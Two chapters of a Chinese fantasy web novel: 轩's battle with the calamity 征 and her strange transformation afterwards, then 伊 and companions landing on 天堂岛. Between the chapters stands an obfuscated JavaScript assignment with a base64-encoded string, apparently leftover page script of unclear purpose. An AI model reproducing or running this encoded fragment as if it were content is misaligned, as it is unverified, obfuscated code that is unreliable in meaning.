她有着黄色的皮肤,是个太玄国本地人。她的双眼是深邃的黑色,看起来炯炯有神的。她的头发是乌黑亮丽的长发,其造型格外的好看与特殊;她的额头上有着一个盖住她额头的头发帘;她的头顶中间偏中后位置处有着一个有金色发环绑着的丸子头,丸子头中间还插着一根十分精致簪子。她身穿一身有着白色龙纹且十分霸气的轻甲,脚穿一双有着白色龙纹的战靴,腰间别着一把刻着“龙魂剑”三个字的长剑与黄金令牌,看起来威武极了。她的名字叫做轩,是太玄国的龙凤卫(其职责类似于殇王国的国王之手,就是听王话给王办事的)中的应龙卫。 轩(龙凤卫之龙)焦急地问道: “现在城里怎么样了?” 这个士兵非常惭愧地说: “抱歉,我们没能打得过它们。这座城现在有半成被他们给毁了,他们还在扩大他们的控制范围。” 轩又问: “那城内百姓呢?” 这个士兵告诉她: “城内百姓几乎被我们疏散到了制定安全区,现在这周围只有与扭曲生物战斗的勇士们了。” 这个士兵咳嗽了几下,咳出了许多鲜血。 轩关心他道: “你还能走两步吗?我带你去找医师。” 这个士兵说: “不用了.......我命不久矣了。还有......小心那个白衣服的白发男人.......” 说完,这个士兵就咽了气。看着这个死去的士兵,轩咬了咬牙,心中很是无奈。为这个士兵合上眼后,轩站起身来,拿着长剑奔赴战场深处。她的实力十分强大,她遇到的扭曲生物几乎被她几剑轻松解决了。她的剑不是一般的剑,她的剑上有着能够烧焦所有有机物的龙之烈焰,这使得她不用技巧光乱砍也可以轻松杀死扭曲生物。 这时,一个体型远大于自己十倍的扭曲生物挡住了她的去路。她丝毫不慌,在躲开这个扭曲生物的第一次攻击后对着它连续使用三连挥斩,然后这个巨大的扭曲生物就被她切成了碎块,并且碎块在她剑上的火焰的灼烧下变成了一堆碳灰。 在她走到中间广场上时,一群体型庞大的扭曲生物包围了她,她正准备发起进攻,只见这些扭曲生物似乎像是感受到了什么,它们都后退了好几步,像是在等待某个存在的到来。 轩: “这是作甚?” 过了一会,轩正对面的两只扭曲生物突然相互远离,接着一个白衣白发的男人从这两个扭曲生物之间的缝隙走了进来。 轩: “你......就是第一天灾?” 征: “没错,漂亮的姐姐。我就是令人闻风丧胆且让你们恨到了骨子里的第一天灾:征服者。” 轩: “少给我耍嘴皮子!你这混蛋不知害死了多少人。今天,我要灭了你来给我们惨死的人民一个交代!” 征: “别这样啊!姐姐。这么暴力是不好的,这样你男朋友知道了该怎么看待你呢?你的人设改在他的心里崩塌了。” 轩脸红了。 轩: “休得胡说!你这不要脸的畜生。我不想在跟你磨磨唧唧的了!犯我太玄者,虽远必诛!” 说完,轩开始让自己和核心充能,短暂的充能之后她拿着长剑冲向了前方的征。 征: “哦,这真是太可惜了。” “好了,很高兴认识你.......” “再见。” 说完,征的左手变成了锋利的手刃,紧接着轩来到了征的面前,并对着征挥出了一剑。这一剑在空中划过空中的时候留下一道火焰的残影,可见这一剑速度之快。但是征很轻松地用手刃接下了这一剑,并且对着轩的小腹来了一拳,轩瞬间反应过了一个转身躲开这一拳并闪到了征的身后,征见此笑了笑,接着给轩表演了一个胳膊水平旋转180度。轩见此有些惊讶,她从来没想过人可以做到在胳膊伸平后可以向背后旋转180度这种操作。 轩心想: “这......这怎么可能?” 征: “骨折而已,再生一些就痊愈了。” 征一把抓住轩,把轩扔了出去。轩在空中一个转体调整重心,接着在落地后将长剑插在地上来进行减速。就在她停下的一瞬间,征不知何时出现在距离她右手边不远处的地面上,轩见此瞬间拔剑,侧闪与他拉开距离,但是她的速度还是太慢了,没等她完全与他拉开安全距离,他就对着轩的胳膊狠狠来了一刀。这一刀直接切碎了轩小臂上的铠甲,并且在她小臂上切开了一个口子,顿时鲜血从她的伤口处喷涌而出。就在这个瞬间,轩的核心完成了充能,她进入了她的可控核心能量暴走状态。 轩: “生成核心武装!Emw与EmA激活!” 她核心产生的核心能量瞬间在她的另一只手中生成了一把陌刀,并且让她头顶上长出了一对龙角,她全身的伤口都在这一时刻开始快速愈合。她趁这个机会一个侧身用手中的陌刀刺向了征,征见此用侧身躲开这一击,但是他还是晚了一步,轩的陌刀直接刺中了征的肩膀。顿时征的伤口瞬间焦化并且开始向外喷涌鲜血,其中有几滴鲜血溅到了之前被征切开的切口上。轩没多在意,只是快速拔出陌刀,准备下一次攻击。就在轩想要发起下一次攻击之前,征以极快的拳速给她的胸口狠狠来了一拳,又用手中的手刃对着轩连续划了三下,最后一脚把轩踹到了墙上。飞出去的轩在墙上砸了个大坑,随即陷入晕厥。征试着用再生在修复伤口,没想到被这陌刀刺出的伤口竟然愈合速度极其缓慢,征此刻意识到了前所未有的危险,他瞬间意识到了自己的弱点是什么了。 征惊讶地说: “不,这不可能!为什么?为什么我堂堂天灾会惧怕这个?” 就在征自言自语的时候,一柄战戟刺入了他的胸腔,一阵灼热感从他的胸腔处传来,这柄战戟上有着火影,这使得它刺入的位置周围的皮肉都炭化了。他没有惨叫,而是瞬间用极其暴力的方式往前冲刺直接拔出了胸腔之中的战戟,他回头看了一眼偷袭他的人,那人也身穿战甲,看起来是跟他之前对战的那个人是一个等级的。他没多想,转过头去看了看天,发现现在濒临午夜。 征悲叹道: “哎,倒了大霉了!留得青山在不愁没柴烧!老子撤了!” 说完征捂着胸口的胸口直接爬上一栋小楼的楼顶,接着从这栋小楼的楼顶跳进了小巷之中,然后在小巷与街道之间来回出穿梭,他现在的目标不再是来这里屠杀,而是赶紧离开兴安城。 在征十分狼狈的逃跑之后,那些扭曲生物瞬间顿住了,在短暂的停顿之后各个分解成了许多的人形扭曲生物,接着跟随着征一起灰溜溜地逃离了兴安城。在逃到了征亲自打开的那个高墙下的窟窿前时,征停了一下,他回头再看了一眼这个城市。 征不甘地说: “等着的,等我养精蓄锐归来,你们这座城我要改造为养育士兵的温床!你们所有人都是养育我士兵的养分!等着吧......当我再次归来之时,即是这里的末日!” 说完征穿过这个窟窿,灰溜溜地逃走了。 这时,那个偷袭了征的人快步走到了轩的面前。此刻的轩视线很模糊,就连自己的手指都很难看清。轩抬头看着眼前这个模糊的身影,她想了一会,才想起这个人的身份。她突然想说些什么,但没等她开口,她便昏迷了过去。 ...... 当她再次醒来的时候,她惊奇地发现自己竟然躺在自己的房间里面的沙发上。她起身环顾四周,发现这周围一个人也没有。她检查了下自己身上的伤口,她惊奇地发现自己的伤口处缠着几条染血的绷带,是有人在她昏迷时为她包扎。 轩疑惑道: “我......我这是在我的房间里?是谁把我送回来了?” 就在她疑惑之时,一阵剧痛从她小臂的伤口处传来,她下意识地用手捂住藏在她衣服下的伤口。她察觉到一丝不对劲,她撸起袖子一看,发现她受伤的那个小臂上长满了龙鳞。她用手摸了摸自己的头上,发现那只龙角还在自己的头顶,她又摸了摸自己的耳朵后面,发现她耳朵后面也长出了龙鳞。同时,她感受到了一种怪异的能量在自己的体内涌动,这种能量的强度比她的核心能量还要强上好几倍。 轩疑惑道: “这......这是怎么回事?” 就在此刻,她小臂上的龙鳞开始向着她的手部生长,不一会她的手背上也出现了龙鳞。她立即意识到了危险,她试着关闭核心,却突然发现自己感受不到核心的存在了。此刻一阵疼痛从她的胸口处出现,她用手捂住了胸口,这种疼痛感如同刀绞一般,她咬着牙忍受着这等常人难以忍受的痛苦。她的头上开始冒冷汗,紧接着她的双眼渐渐变红,半透明的血光触手出现在她的背部。她试着站起来出去寻求帮助,可她刚刚站起来没走几步就跪倒在了地上。她口中喘着粗气,她全身的肌肉都在颤抖,她感觉到自己眼前的景象越来越红。 轩万分疑惑地说: “这......这是怎么回事啊?!” 就在这个时候,突然有人来敲她房间的门,边敲边对着房间里面的她说话。 墨子邵(龙凤卫之凤): “轩!你好点了吗?我给你送治疗药来了!你之前想吃的那种桂花糕,这次我也帮你拿来了。” 听到墨子邵的声音,轩转头看向自己房门。 轩心想: “不......不能让墨子邵看到我这样样子!快,快想办法把它抑制住!” 轩试着用意志力去控制自己体内的怪异能量。这时,她的脑中瞬间闪过了几张回忆的画面,紧接着她的手背上的龙鳞开始变少,同时她头顶的龙角也跟着变少。在极短的一段时间后,她恢复到了原来的样子,以及她身上异象也都消失了。在她刚刚恢复过来后,墨子邵推开了她房间的门,直接走了进来。在看到墨子邵为自己送药来的时候,轩有些感动。 他是太玄国本地人,黄皮肤,黑头发,黑眼睛。此刻的他应该身穿一身看起来有着凤纹且十分帅气的红色皇卫服,身披一件有着白色绒毛的凤纹红色大衣,脚穿一双有着凤纹的战靴,腰间别着一把刻有“炎钢剑”三个字的佩剑与黄金令牌。无论是看装束还是看脸,他都是个十分帅气的男人。他叫墨子邵,是太玄国的龙凤卫中的凤凰卫。 刚一见到轩,墨子邵便很着急地关心她道: “轩!你没事吧?” 轩缓缓站了起来,又擦了擦额头上的汗,假装无事发生。 轩微笑着回应: “我没事,小伤而已。” 墨子邵好奇地问: “话说,你那时候为什么没给我开门呢?” 轩目光移向一边,有些难堪地说: “这个......” 墨子邵很着急地说: “先别管这个了。” 墨子邵把手中的药瓶递给了轩。 这个你拿好,这是我给你去皇家御医那里拿的药,赶紧喝了吧,这能让你恢复得更快一点的。“” 轩接过他手中的药瓶,她的脸有些泛红。 轩微笑着说: “谢了。” 墨子邵笑着告诉轩一个好消息: “还有,轩。你立了大功了!你与天灾的战斗让我们找到了对付第一天灾的办法,并且你还成为了成功打跑天灾的第一人!皇上说了,要好好奖赏你呢!” 轩难以置信地说: “真的?!” 墨子邵微笑着说: “我还能骗你不成吗?” 这时,轩想到了一个关键的问题。 轩问: “对了,我们这次损失了多少人?” 墨子邵答: “我们军队这把大约八百,百姓那边大约六百,比起以前来说少了很多了,但死的还是很多啊。” 轩咬牙切齿地说: “这些可恶的扭曲生物!害死了我们这么多人!总有一天我们会把它们消灭的一个不剩的!” 这时,墨子邵拿出了一个包装精美盒子,轩见后觉得很好奇。墨子邵将盒子交给了轩。轩接过盒子后打开,惊奇地发现这是一盒桂花糕。 墨子邵: “前几天你不是想吃我故乡的特产桂花糕吗?这不,我托人给你弄来了。不知你喜欢什么口味,我就每种口味都拿了一个过来。” 轩: “真是谢谢你啦!你真的好贴心哦~~~” 墨子邵: “过奖了。快,打开吃吧。” 轩拿起一块粉色的桂花糕,但她没有立即吃。她盯着这块桂花糕,脑子里突然冒出一个想法。 轩: “墨子邵,你吃一块吗?” 墨子邵: “不必了。” 轩: “可是这粉色的桂花糕有两块诶。” 墨子邵: “啊?” 轩: “嘻嘻,看来给你拿桂花糕的好心人马虎了呢。” 墨子邵: “啊,这......” 轩: “正巧多了一块,不如就由你把它吃掉吧。” 墨子邵: “也行吧......正好我也很久没吃过家乡的糕点了。” 墨子邵拿过轩手中的桂花糕,然后一口吃了下去。吃过桂花糕,墨子邵的脸上冒出满意的表情。 墨子邵: “诶呀,真香。” 轩: “真有那么好吃吗?我尝尝......” 轩也尝了一块,她的表情几乎和墨子邵一模一样。 轩: “好吃诶!” 墨子邵: “好吃就对了。我故乡的桂花糕世界一绝。” 轩: “墨子邵,等休假你能带我去你故乡溜达一圈吗?” 墨子邵: “可以呀。嗯?你想跟着我旅游啊?” 轩: “我觉得和你旅旅游也挺不错的。毕竟我们都有三年多没出首都了,去外面走走也挺好的。” 墨子邵: “既然如此,那就约定好了,下次休年假带你旅游。” 轩: “太好了!” 墨子邵: “有一件事我很好奇......” 轩: “何事?” 墨子邵: “我观察你很久了,你有很多特征都告诉我一个无可否认的事实。你是不是喜欢......” 这两个敏感的字眼引起了轩的本能反应。她不自觉的紧张,紧随心跳加速,脸还有些泛红,似乎担心自己的秘密暴露。 “......甜类食物啊?” 轩愣了一下,顿时她就不紧张了。轩顺着墨子邵的问题点了点头,假装自己很镇定。 轩: “没错。想不到,这都被你看出来了。我的确是个喜好甜食的人。” 墨子邵: “既然喜欢甜食,还请你注意牙齿健康哦。一口洁白健康的牙齿,带来健康生活。” 轩: “谢谢提醒。” 这时,轩的房子外路过一位锦衣亲卫。那位锦衣亲卫无意间透过窗户看到房中墨子邵的身影。那个锦衣亲卫见此,走到窗边对屋内喊道: “墨子邵!你大半夜搁人姑娘房间里干嘛呢?” 墨子邵: “我的天!误会,误会啊!秦子兰老哥。” 秦子兰: “是不是约会被我逮到了?好小子,出手比我都快快。你等着,明天我就向皇上汇报此事。” 墨子邵: “诶?别吧。秦子兰老哥,这是误会啊!” 秦子兰: “还搁那跟我喊话呢?不想被打小报告就凭实力捂上我的嘴,我在宫内修炼场等你。” 墨子邵: “好家伙,行!等着嗷,秦子兰。我现在就在抓你来。” 说完,秦子兰便跑走了。墨子邵没急着去追,他先跟轩客客气气地道别,然后才撒开腿去追秦子兰。轩一边注视远去的墨子邵,一边吃着墨子邵送来的桂花糕。 这一夜,注定不是个安眠夜。 与此同时...... 一个人用夹子捡起了地上的焦化碎块,接着把它放进了一个小罐子里。这个人抬头看了看眼前这具被碳化了90%的巨型怪物的遗骸,默默地打开了通讯频道。 ???: “老板,研究血清的实验材料找到了。” 碧蓝苍穹: “有多少啊?” 这个人拿出了电子扫描仪,接着仪器屏幕上出现了数字。 ???: “大约千克。” 碧蓝苍穹: “好,很好!这些足够了。” ???: “那么,老板。我们收集队可以开始收集了吗?” 碧蓝苍穹: “可以开始了。” ???: “知道了,老板。” 说完他切断了通讯。他凝望着面前的巨大怪物尸骸,不禁心生敬畏。但迫于生活,他还是下令去破坏了这具怪物最后的遗骸。 ???: “对不起了,紫渊......” 说完,回收紫渊遗体的工作如期展开了....... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第一话:初入天堂岛 通历43年6月12日,一个不错的晴天。清凉的海风吹过海面,温暖的阳光照在海面上,一切看起来都是那么让人愉快。但是在这个被疫病所折磨的灰色世界之中,没人会注意这番能让他们身心愉悦的景象,除了那些身处异界的人们。 此刻伊正坐在船舱里准备去看一本从书架里找到的一本很特别的故事书,这本故事书的外皮是墨绿色的,封面是一朵白色的水仙花,封面上写着伊看不懂的文字。伊找了个椅子坐下,接着打开了这本故事书,十分认真地开始看了起来。这时,小鸟落在了她的肩上,小鸟用他的小翅膀上的羽毛抚摸了一下伊的面颊。伊转头看向了肩膀上的小鸟。 伊: “你要跟我一同阅读这本故事书吗?小鸟。” 小鸟点了点头。伊露出了微笑,接着她开始认真阅览这本特别的故事书...... 很久很久以前,有一个胆小的孩子,她迷失在了一片黑暗的森林之中。在这片黑暗森林之中,她努力寻找着离开的道路。 此时已是午夜时分,黑暗森林之中的气温格外地低。这个孩子双手抱臂,孤独地在黑暗森林之中穿梭。黑暗森林之中阴霾缭绕,冰冷刺骨的寒风吹过森林,这个孩子被冻得开始颤抖。这个孩子走着走着,突然发现周围阴霾消失了。这个孩子抬起头一看,皎洁的月光透过树叶之间的缝隙照进了这片森林之中,驱散了森林之中的阴霾。看到这月光,这个孩子十分高兴。 这个孩子走到了月光之下,抬起头静静地欣赏这美丽的月光。突然间,本该黑暗的森林之中出现了微微的亮光,许多细小的光点出现在了树木之间。这个孩子看了看这些光点,她的脸上多了一抹开心的笑容。她伸手去抓这些光点,这些光点有意识地躲开了她的手,并向做游戏一样围着这个孩子转圈。这个孩子也跟着这个光点一起转圈,这个孩子沉浸在了这个过程之中。突然,这些光点停止了转圈,然后整齐的排成一排向着黑暗森林的深处飞去。这个孩子见此,笑着追了上去。 这个孩子跟随这些光点在黑暗森林之中穿梭。它们来到了布满荆棘的花丛之前,花丛上生长着许多红色的玫瑰花,迷人的花香弥漫在周围。这个孩子被这迷人的花香吸引了,她伸出手来想去摘一朵玫瑰,但是在她碰到玫瑰之前,玫瑰周围的荆棘就划伤了她的手。吃了痛,她赶忙将手抽了回来。她看着那朵美丽的玫瑰花,心中有着不甘与失落。 这时,那些光点悄悄地在她的身后形成了一只大手,接着这只手托起了她,把她送到了花丛的另一侧。随后,这些光点重新排成一列,继续引导着这个孩子前进。这个孩子起初并没有离开,她转头看向那片花丛,看向那些在荆棘丛中的玫瑰,她想摘一朵带走,但是那些锋利的荆棘不允许她那么做。她伸出手还想尝试,但一想到那锋利的荆棘,她就打消了这个念头。她静静地看着花丛中的玫瑰,静静地欣赏着它的美。片刻之后,她便转身继续追寻那些光点。 追着追着,它们就来到了一口深井前。这口深井深不见底,但底下隐约能够看到许多反光的物体。这个孩子对井底的物体感觉很好奇,她摇动曲柄,降下井绳,想看看这井里到底有什么东西。过了一会,她摇动曲柄,打了一桶沉甸甸的东西上来。 她走近一看,发现是桶里满满的金币与五彩斑斓的宝石。她并没有感到高兴,反而感到不解。她拿起其中一块宝石,仔细打量了一番。她发觉这块宝石很值钱,她的脸上出现了一抹微笑,但很快,这抹微笑便消失了。她想了想,觉得这些宝石属于不义之财,不是属于她的物品,所以她不能要。她拿起这个装满金银珠宝的桶,然后一把将所有金银珠宝都重新倒进了井内。 倒完东西之后,这个孩子惊奇地发现桶里还剩下一块晶莹剔透的宝石。她拿起这块宝石,仔细地看了起来。看着这块宝石,她的心里涌现出了各种自私的想法。未来富裕的生活就摆在她的眼前。她的良知再与她心中的私念在做对抗,一方是自己的良知道德,一方是未来富裕的生活。 在激烈的心里斗争之后,她最后并没有带走这块宝石,反而将它扔到了井中。她明白,这本不属于她的财富,无论何时,都不属于她。就在这时,这口深井之中出现了清澈的井水,井水的水位渐渐升高,直到恢复到了正常的水位。 她静静地看着井水倒映出的自己,她感觉此刻心中格外平静,她冲着倒映出的自己笑了笑。之后她喝了一点井水,接着就继续追逐那些光点去了。 追着追着,它们来到了一座白色的城堡前。这个孩子看着这个城堡感到十分好奇,于是她走了进去。城堡内的大堂里有着及其奢华的装饰,例如有着金边装饰的大理石柱、黄金吊灯、红地毯等奢华装饰物。眼前的景象对于这个孩子来说是仅存在于童话之中的场景,她很激动,也很惊喜,她未曾想过自己有一天能够来到这种地方参观。 当她来到大堂中间的时候,一个身高七尺的神明出现在她的眼前。这位神明冲着她笑了笑,然后为她拿来一身皇袍和王冠,说要让她成为这里的王。听到神明这么说,她很高兴。想到自己平凡又贫穷的生活,又想到未来将到来的富有生活,她的手缓缓地伸向了神明手中的王冠。但在她要碰到王冠的时候,神明的手往后挪了一下,紧接着向她提出了一个要求。 “如果你想拥有这一切,那么你必须放弃你之前拥有的一切事物。包括你的家人与朋友以及所有认识你的人。我保证不会让他们消失!但会让他们忘记你。” 听到这个条件,这个孩子犹豫了。在这两者之间,她不好做出选择。一边是高人一等的皇家生活,一边是自己的家人朋友,她不知该选什么为好。最后,她心中的感情与道德促使她选择了后者。她拒绝了神明的好意,然后带着些许失落与遗憾离开了这个城堡。走到大门的时候,她还不忘回头再看一眼这个奢华的城堡。神明矗立在大堂中间静静地看着她,似乎是在等待她的回头。但她并没有回去,而是低着头离开了这个城堡。 在离开城堡之后,她不免有些失落。但看到在城堡外坚守等待的光点们后,她心中的失落消失了,她的脸上再次出现了笑容。这些光点又在她身边绕了几圈,接着再次排成一列,继续向着前方飞去。看着这些光点,她感到了一种前所未有的感动,她笑着追了上去。 追着追着,它们来到了森林的边缘。此时,太阳的辉光在地平线处出现,又是一轮新的日出。她笑着迎接这轮日出,却浑然不知,那些指引她前进的光点,重新回到了黑暗之中。这些光点没有像她一样迎接今天早上的日出,而是选择背对日出时的辉光,去迎接黑暗。 这个孩子似乎忘记了那些光点,她自顾自地走出了森林,按照记忆中的路线,走上了归家之路。 伊娜缓缓合上了手中的书,接着她从摇椅上下来走了几步来到了窗前,她欣赏着窗外如同世外桃源一般的美景,她不禁露出了满意的笑容。就在她沉浸在美景之中的时候,一个陌生的声音从她的身后传出。 “伊娜。我们终于见面了。” 伊娜听到说话声,表情瞬间变得严肃,她转头看向了屋内,发现一个身穿黑色风衣的戴墨镜男子站在自己的房间里。 伊娜警惕地问: “你是谁?” 对方微笑着说道: “您还是那样的美丽啊,生前死后亦是如此。自我介绍一下,我叫安,是红伞联邦的第一指挥官。” 伊娜: “你来这里做什么?我警告你,不要试图在这里搞什么破坏。这里是我的领域,我想要在这里杀死你的意识轻而易举。” 安: “嘿!别激动。我可是不是什么有害之人!” 伊娜: “我看你也不像什么有善之人。” 安: “听我说,姐姐。我来此有两个目的,一是来看看炼金师的美丽女儿,二是来找你商谈一些事情。” 伊娜: “商谈事情?你能找我这个死人商谈什么事情呢?” 安: “当然是对你我都有利的事情了。这件事你绝对会感兴趣的,我保证。” 伊娜: “嗯?说来听听。” 安: “您知道x吗?是他找我来这里的。他跟我们谈了个项目,说是要制造一个可以使用多种奇点科技的顶级战士,并且为它取名为‘世界之子’。我们红伞联邦通过开会同意了此事,现在我们按照项目上的条约来这里征求您的意见。” 伊娜: “原来如此。” 安: “话说,您愿意以这个战士的样子重新回到这个世界吗?” 伊娜: “当然了。只要能让我重获自由,怎样我都能接受。” 安: “但是......姐姐,我们这边有个条件。你在重生之后必须帮我们与苍白名下的警备队进行一场旷日持久的战斗,不然我们联邦会蒙受很大的损失的。” 伊娜沉默了一会,她在思考要不要答应安的要求。过了一会,她开口了。 伊娜: “可以,我能帮你们。但是请你们说到做到,让我成为世界之子回到这世间。” 安: “放心吧,姐。我一定说到做到的!” 伊娜: “最好如此。” ???: “安,你该走了。我的病毒入侵很快就会被碧蓝苍穹察觉的,到时候要是让他查出来是你用病毒侵入了这个系统,你们的红伞公司就要与碧蓝世界和警备队开战了。” 安: “知道了,x先生。” 说完,安凭空消失在了伊娜的眼前。伊娜转头继续欣赏窗外的景象,过了一会,她重新回到了摇椅上拿起她的那本有着加密内容的书看了起来。在看了一会之后,她听到了有人在敲门,她便合上了书去开门。 与此同时...... 殇的小船已经靠岸,他们一行人来到了这座号称为皇家度假圣地的天堂岛上。他们所乘坐的船已经没有燃料了,他们必须在天堂岛上找到燃料来供给给这艘船,不然他们没法按照航程来到下一站东玲国。 他们登陆的地方是一片一望无际的沙滩,沙滩上有着几个还没来得及撤下去的太阳伞与几艘白色的小船,看起来这里在变成荒地之前是一个很热闹的地方。沙滩的边缘处有一条公路,公路上有着几个太阳能路灯,公路中间停着一辆红色高级敞篷跑车,跑车里面放着一个冲浪板。公路的另一边是一条很长的金属隔离带,隔离带的内侧是一片茂密的皇家园林,皇家园林内静悄悄的,没有一丝声音。殇用手抓起了地面上的一把沙子,他用手微微用力握紧了这把沙子,并让其在手部反复摩擦,以此来感受这把沙子的那种细腻感。他搓了一会沙子,很快就将它放回了远处。 殇: “是这种感觉......这里的沙子质量很好,是上等货。曾经,这里也许是这世界上最热门的度假区吧。可惜了......” 此时,殇的脸上流下了两滴汗,他抬头看了看天,发现此时已经是正午时分。他回头看向伊和马婷婷,伊和马婷婷此时正在擦额头上流下来的汗。天气炎热,滚滚热浪吹拂在四周。 伊: “殇,我们能不能先到一个凉快的地方待着?这里好热啊。” 马婷婷: “对啊,我们去找个凉快的地方待着吧。” 殇: “也对,天堂岛是热带岛屿......走吧,我们去找个凉快的地方。” 说完,殇带着伊和马婷婷快步来到了公路旁的那辆跑车旁。 马婷婷: “哇!这是什么啊?好帅气啊!” 伊: “这是一辆昂贵的跑车。” 马婷婷: “跑车?那是什么东西?” 伊: “一种能驾驶的东西。就跟那些清道夫开的差不多一样。” 马婷婷: “哦。” 殇打量了这个跑车一番,他看了看油表,发现这辆车还有一丁点油。 殇: “这辆车应该能开......试试吧。” 殇试着发动这辆车,过了一会,这辆车竟然成功被殇发动了。在殇发动这辆跑车之后,殇一行人坐在了这辆跑车上。 殇: “走!我们去这个地方兜兜风!系好安全带,小心别飞出去!” 说完,殇一脚踩在油门上,紧接着他以每小时80千米的速度沿着公路行驶。阵阵清凉的风吹在殇一行人的身上,这让殇一行人感觉很舒服。随着车辆行驶,公路旁的美景渐渐呈现在他们的眼前。 碧蓝色的大海上波光粼粼,天空上白云朵朵,明媚的阳光照在这片土地上,一望无际的沙地上长着几颗椰子树,还有着几只孤单的太阳伞与搁浅在岸上的白色小船。过了一会,他们眼前出现了一个繁荣的海边小镇与一片片绿油油的森林。海边小镇上有着许多矮小的房子,每个房子的房顶都是蓝色的,看起来格外的显眼;四通八达的沥青路连接了这座小镇的每一个部分,沥青路旁边整齐地排列着一排路灯,这使得整个小镇看起来高档了许多;一个巨大且有着许多奢华装饰的广场在小镇中间静静矗立着,广场的东边有着一个巨大的纪念碑,纪念碑下是三层的围栏基座;一个巨大的摩天轮在小镇旁边的游乐园中屹立着,它扔在缓缓的运转,似乎曾经的繁华还在这片土地上;一艘游艇停靠在海边小镇的港口上,与其一同停靠的,还有许多艘运载着货物的货船。 这种景象让没见过世面的马婷婷直接惊住了,她眼前的景象让她一度怀疑自己是在做梦,为此她用手掐了掐她的脸。她感受到了疼痛,她确认她不是在做梦。她的双眼之中充满了惊奇与喜悦,她难以相信这世间还能有这种景象存在。虽然伊也很是惊讶,但她起码见过许多世面,她还是很镇定的。伊见到这样的马婷婷之后竟有些心疼,这个出生在无人区的孩子眼中的世界还是太小了。 马婷婷: “这......这太不可思议了!” 伊: “这就是有钱人来度假的地方吗?这就是天堂岛吗?” 殇: “你们两个镇定点,别跟没见过世面似的。别忘了,这里可是许多国王与许多有钱人来度假的地方,这些都是该有的。” 虽说殇是这么说,但他本人心里还是感到很惊讶的。 过了一会,一座建立在山顶之上的避暑山庄出现在了他们的眼前,这座避暑山庄周围绿树森林环绕,宛如仙境一般。避暑山庄外围有着一圈画有太玄国风格画作的围墙,其余细节由于相距太远,他们并未看清。殇此时不知因何原因自愿当起了伊和马婷婷的向导,他开始向伊和马婷婷介绍这岛上的一切。 殇: “那个是殇王国国王花重金修建的太玄避暑山庄,是专门仿照太玄国的柳澪山庄打造的避暑山庄。其位置优越,四季如春,能避暑,能修身养性,周围的森林之中有专门让人下棋喝茶的凉亭。” 伊和马婷婷很是惊讶,但随后她们意识到了一个问题。 伊: “殇,你是怎么知道这些的?” 殇: “我记这里就跟记我家一样了如指掌。正好你们两个没怎么见过世面,我就勉为其难做个向导给你们介绍介绍这里。” 伊: “了如指掌?殇,你曾经来过这里吗?” 殇: “......没有。我只是在我一个懂地理的朋友那里有幸了解到了这里的详细信息而已。要不是想去这里度度假,放松放松心情,我才不会记这些记得这么熟练呢。” 伊: “哦,原来如此啊。” 这时,马婷婷的脑中突然蹦出了一个奇妙的想法。这个想法让她觉得很不可思议,但是她还是鼓起勇气说了出来。 马婷婷: “殇,你会不会就是殇王国的国王啊?” 殇: “不,我不是。我要是他,我才不会去无人区这个连鸟都没有的地方呢。” 小鸟: “那我不是鸟吗?” 殇: “额......不要计较这些细节。” 过了一会,殇所驾驶的车辆没油了,他们被迫下车徒步赶路。殇是个路痴,所以领路的工作就交给了有地图加持的伊身上。伊看了看地图,发现皇家植物园的入口距离她们不到三百米,而最近可能有燃料的度假村距离她们起码三千多米。伊想着植物园内可能有用来发电的发电机或者能够驾驶的车辆,伊决定带着殇和马婷婷前往植物园去寻找燃料。 伊指着地图上的植物园,说: “殇,我们去前面的那个植物园吧。植物园里面应该有燃料或者能够驾驶的车辆。” 殇疑惑道: “植物园?” 殇看了看地图上植物园的位置。说: “也对,现在也只能去植物园了。希望植物园里面能有些帮助我们赶路的东西吧,最好是有汽油。” 马婷婷担心道: “殇,伊。你们说这植物园里面会不会什么古怪的东西啊?” 殇: “应该没有吧。如果要有的话,我来处理就行了。你们两个只管保护好自己就行。” 说完,伊领着殇和马婷婷一路来到了植物园的门口。植物园的门口很是气派,一看就是高档地区应有的样子。 伊一行人很快走进了植物园中,在她们走进植物园后不久,一辆很特别的火车车厢出现在她们的眼前。正当她们好奇这个火车车厢的由来时,一个身穿金边蔚蓝色斗篷的黄皮肤男人打开了车门,两步并作一步走了下来。殇见到这个人后感到很疑惑,他瞬间进入了战斗状态,时刻提防眼前这个身份不明的人。 殇警惕地问对方: “你是谁?” 对方笑着回应: “你好啊,朋友。别紧张,我不会伤害你们任何一个人。我只是一个......来混口饭吃的流浪商人。不用害怕我,我不会伤害你们的。” 殇半信半疑地问: “真的?” 流浪商人笑道: “你怎么想,我就怎么样。你们是顾客,我是商人。顾商之间,绝无仇恨。” 殇稍稍放下了戒心。 殇问: “你为什么会在这里买东西?这里可是没人烟的无人区。” 流浪商人答: “嗯?你确定吗?如果我没记错的话,天堂岛可还是凤岭区的管辖范围啊。” 殇惊讶道: “什么?!我们已经出了无人区了吗?” 伊也惊讶道: “啊?这么快吗?” 流浪商人回应: “没错,就是这么快。” 此时,殇突然意识到了一个问题。 殇好奇地问: “你来这里多久了?” 流浪商人回答: “差不多得有五六个小时了。” 殇好奇地问: “你一般会在什么情况下出现?” 流浪商人微笑道: “顾客到达前的一个小时。” 一听这话,殇瞬间意识到了威胁的存在。既然流浪商人已经在这里等候了五六个小时,那么这座岛上一定有其他人,那些人可能是这里的幸存者,也可能是逃到这里的逃难者,还可能是来活捉伊的敌人。 殇不安地说: “看来,有人提前埋伏在这里了。伊,小心行事吧。这座岛上还有活捉你的敌人!” 伊不安地点点头,说: “嗯。” 流浪商人微笑道: “对了,来我这个小店里买点东西吗?我这里什么都有哦。” 流浪商人指着伊的头发,又说: “这位白头发的小姐,你这头发是不是该剪一剪了?不然天这么热,你这样会使你很难受的。” 伊一听这话,她也觉得自己改剪剪头了。她刚想开口说些什么,殇就抢在她开口之前告诉了流浪商人他们的情况。 殇有些委婉地说: “抱歉哈,我们一分钱都没有,没办法照顾你的生意。” 流浪商人笑笑,说: “哦?你确定吗?可是据我所知,你身上可是有一件价值不菲的东西啊。” 殇疑惑地问: “什么东西?我怎么不知道?” 流浪商人指着殇背后,说: “看看你的背后。” 